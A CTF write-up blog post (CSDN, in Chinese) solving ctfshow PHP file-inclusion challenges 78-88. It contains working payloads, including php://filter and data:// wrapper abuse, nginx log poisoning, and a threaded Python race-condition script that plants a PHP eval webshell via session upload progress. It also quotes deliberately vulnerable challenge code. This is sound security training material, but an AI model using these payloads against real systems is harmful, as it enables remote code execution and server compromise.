[ctfshow]web入门文件包含78-88

最新推荐文章于 2024-04-28 20:33:33 发布
最新推荐文章于 2024-04-28 20:33:33 发布
阅读量2.4k 收藏 10
点赞数 4
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45785288/article/details/110625807
版权

目录

web 78

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

web 79

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web 80-81

试了试文件日志包含漏洞

先抓包,发现是nginx，一般的日志路径为 /var/log/nginx/access.log

访问发现成功

进行getshell 先ls (可能需要多go几次)

fl0g.png

得到flag

QQ截图20201203003204.png

web82-86

这题是利用 session.upload_progress 包含文件漏洞

session.upload_progress在php5.4添加的。

在php.ini有以下几个默认选项

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"

  1. enabled=on表示upload_progress功能开始，也意味着当浏览器向服务器上传一个文件时，php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ；

  2. cleanup=on表示当文件上传结束后，php将会立即清空对应session文件中的内容，这个选项非常重要；

  3. name当它出现在表单中，php将会报告上传进度，最大的好处是，它的值可控；

    name值.png

  4. prefix+name将表示为session中的键名

另外，再添加个session配置中一个重要选项。

session.use_strict_mode=off这个选项默认值为off，表示我们对Cookie中sessionid可控。

分析

如果session.auto_start=On ，则PHP在接收请求的时候会自动初始化Session，不再需要执行session_start()。但默认情况下，这个选项都是关闭的。但session还有一个默认选项，session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如，我们在Cookie里设置PHPSESSID=TGAO，PHP将会在服务器上创建一个文件：/tmp/sess_TGAO”。即使此时用户没有初始化Session，PHP也会自动初始化Session。 并产生一个键值，这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成，最后被写入sess_文件里。

但是问题来了，默认配置session.upload_progress.cleanup = on导致文件上传后，session文件内容立即清空，

此时我们可以利用竞争，在session文件内容清空前进行包含利用。

session文件默认存储路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

进入正题

题目源码:

<?php

/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date:  2020-09-16 11:25:09
\# @Last Modified by:  h1xa
\# @Last Modified time: 2020-09-16 19:34:45
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com

*/



if(isset($_GET['file'])){
  $file = $_GET['file'];
  $file = str_replace("php", "???", $file);
  $file = str_replace("data", "???", $file);
  $file = str_replace(":", "???", $file);
  $file = str_replace(".", "???", $file);
  include($file);
}else{
  highlight_file(__FILE__);
}

以POST的形式发包，上传的文件随意,下面是构造的上传表单

<!DOCTYPE html>
<html>
<body>
<form action="http://79b5dbc7-b641-4e30-b8d9-4278f2234938.chall.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

抓包，这里我们添加一个 Cookie :PHPSESSID=flag ，session文件的位置我们根据上文的常见的几个测试，在/tmp/sess_PHPSESSID下成功访问且不报错，说明在/tmp/sess_PHPSESSID目录下, 所以PHP将会在服务器上创建一个文件：/tmp/sess_flag” 然后我们在PHP_SESSION_UPLOAD_PROGRESS下添加我们的执行代码，修改如下

QQ截图20201203223816.png

因为我们在上面这个页面添加的ID值是flag，所以传参?file=/tmp/sess_flag,抓包

修改如下：这个a是随便加的，主要是为了方便爆破

QQ截图20201203222634.png

两个包payload设置如下

QQ截图20201203222619.png

条件竞争，将POST的包和传file的包都开启爆破，即可得到目录

QQ截图20201203222928.png

同理也能得到flag

flag1.png

也可以使用python脚本

也直接用前面文章里的脚本：

附上大佬的脚本

import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/?file=/tmp/sess_{sessid}')
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

改下url和要执行的shell即可

参考文章:

https://www.freebuf.com/vuls/202819.html

https://blog.csdn.net/qq_44657899/article/details/109281343

https://www.cnblogs.com/NPFS/p/13795170.html

web83

源码:

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

warning提示了 ，所以表单构造需要重新构造，多了 session_start();

<!DOCTYPE html>
<html>
<body>
<form action="http://668ba926-9165-49e7-92fb-c94a08d54feb.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

web82-86用py脚本都能跑过

web84

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

web85

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

web86

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
define('还要秀？', dirname(__FILE__));
set_include_path(还要秀？);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

    
}else{
    highlight_file(__FILE__);
}

web87

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

分析源码，这题有两个传参，file和 content，然后将content参数的值写入到file参数所定义的文件里，但是一同写入的还有，在开头增加了die的过程，导致即使我们成功写入一句话，也执行不了，我们所要做的就是绕过die

这里放上p神的 谈一谈php://filter的妙用

p神文章已经讲得很清楚了，base64算法解码时是4个byte一组, 而phpdie共6个字符，所以我们解码的时候需要再添加两个字符

payload:

file=php://filter/write=convert.base64-decode/resource=1.php(file的内容需要进行两次url编码)

content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

写入一句话后，然后访问 1.php，就可以执行shell了

QQ截图20201204090803.png

web88

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

data协议绕过

payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

即 ?file=data://text/plain;base64,
林一不是01
关注
  • 4
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
ctfshow web入门 文件包含:web78-web81 web88 web116 web117
rawrecruit的博客
04-14 7200
个人ctfshow刷题记录
ctfshow-web80
m0_73303597的博客
01-04 618
自用
ctfshow web78 获取flag（用老版的火狐浏览器）
最新发布
XiaoYeZhu_1314的博客
04-28 359
第一种：利用input伪协议 ,获取到flag。第二种：利用flter协议,获取到flag。第三种：利用data 协议 获取到fag。
《CTFshow-Web入门》08. Web 71~80
学习学习学习......
05-05 1900
eval() 利用，ob_end_clean() 绕过，正则绕过、PHP 垃圾回收机制，伪协议 {glob://}、PDO 利用、FFI 利用、include() 利用、伪协议 {php://}，{data://}、一句话木马之 Nginx 日志利用。
ctfshow web入门 78-88的文件包含
Firebasky的博客
09-18 4174
1. web78 PHP伪协议读取 ?file=php://filter/convert.base64-encode/resource=flag.php 2. web79 ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php'); 然后查看源代码 3. web80-
ctfshow-web80、81
m0_73590931的博客
08-11 398
然后，代码使用str_replace()函数对file变量进行两次替换操作。第一次替换将file中的php字符串替换为?，第二次替换将file中的data字符串替换为?首先，代码使用isset()函数检查是否存在名为'file'的GET参数。发现与刚刚一样都是user-agent，那还是在user-agent中插入一句话木马，后续做法与web80一样。最后，代码使用include()函数来包含$file变量所代表的文件。意思是将file中的:字符串替换为?看网页信息，发现是nginx服务器。
CTFshow web入门web88-文件包含11
weixin_74336671的博客
12-06 135
没有过滤：,可以使用php伪协议。
ctfshow-VIP题目-Web-详细解题思路
01-27
本文档总结了CTFSHOW-VIP题目-Web的详细解题思路，涵盖了多个Web安全领域的知识点，包括WP源码泄露、协议头信息泄露、robots后台泄露、phps源码泄露、源码压缩包泄露、版本控制泄露、vim临时文件泄露、cookie泄露、...
CTFshow-菜狗杯-WEB-变量循环取值-我的眼里只有$
03-04
【压缩包子文件的文件名称列表】"CTFshow-变量循环取值-我的眼里只有$" 提供了一个可能包含源代码、日志、测试数据或其他相关资源的文件。参赛者可能需要分析这个文件，寻找与题目相关的线索，比如错误的变量赋值、...
ctfshow-web41~60-WP
02-21
ctfshow-web41~60-WPctfshow-web41~60-WP
CTFShow-周末大挑战parse-url篇Writeup
05-19
这篇Writeup主要涉及的是CTF（Capture The Flag）挑战中的Web安全领域，特别是URL解析漏洞的利用。CTF是一项网络安全竞赛，参与者通过解谜、破解密码等方式获取“国旗”（Flag），在这里指的是挑战的答案或关键信息...
ctfshow web223-group盲注无数字
10-21
ctfshow web223-group盲注无数字
ctfshow-web78(文件包含)
m0_62094846的博客
01-11 1259
if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } ?file=php://filter/read=convert.base64-encode/resource=flag.php
CTFshow 文件包含 web80
Kradress的博客
12-08 891
目录源码思路题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:26:29 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){
ctfshow 日志包含Web80-81
m0_62584974的博客
04-16 6215
2022/4/16 题目过滤了php和data，我们这次要用日志文件包含 先抓包 nginx日志的默认路径为/var/log/nginx. ssh日志的默认路径为/var/log/auth.log SSH服务如果开启了日志记录功能，会将SSH的连接日志记录到SSH日志文件中（题目是nginx日志）日志文件包含的漏洞的利用条件是:日志路径已知,并且有可读权限。日志文件的默认路径为上述 现在要将恶意代码写入日志文件 /?file=/var/log/nginx/access.log &
CTFshow 文件包含 web88
Kradress的博客
12-12 758
目录源码思路题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-17 02:27:25 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){
CTFSHOW WEB入门 文件包含 web78-
sinat_41572027的博客
07-11 814
CTFSHOW WEB入门 文件包含 web78.79.80.81.87.88.116.117
文件包含&CTFshow78-117关
m0_63917373的博客
11-08 638
CTFSHOW 文件包含
ctfshow web入门 web文件包含 web78--web81
2301_81040377的博客
04-03 310
php伪协议和日志文件访问
ctfshow web入门文件包含
05-24
我不确定你在问什么，但如果你是在问CTF中的Web入门题目，它可能包含以下内容： 1. 源代码：包含了网站的HTML、CSS和JavaScript代码，以及后端服务器脚本代码。 2. Robots.txt文件：该文件包含网站的爬虫指令，告诉...
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值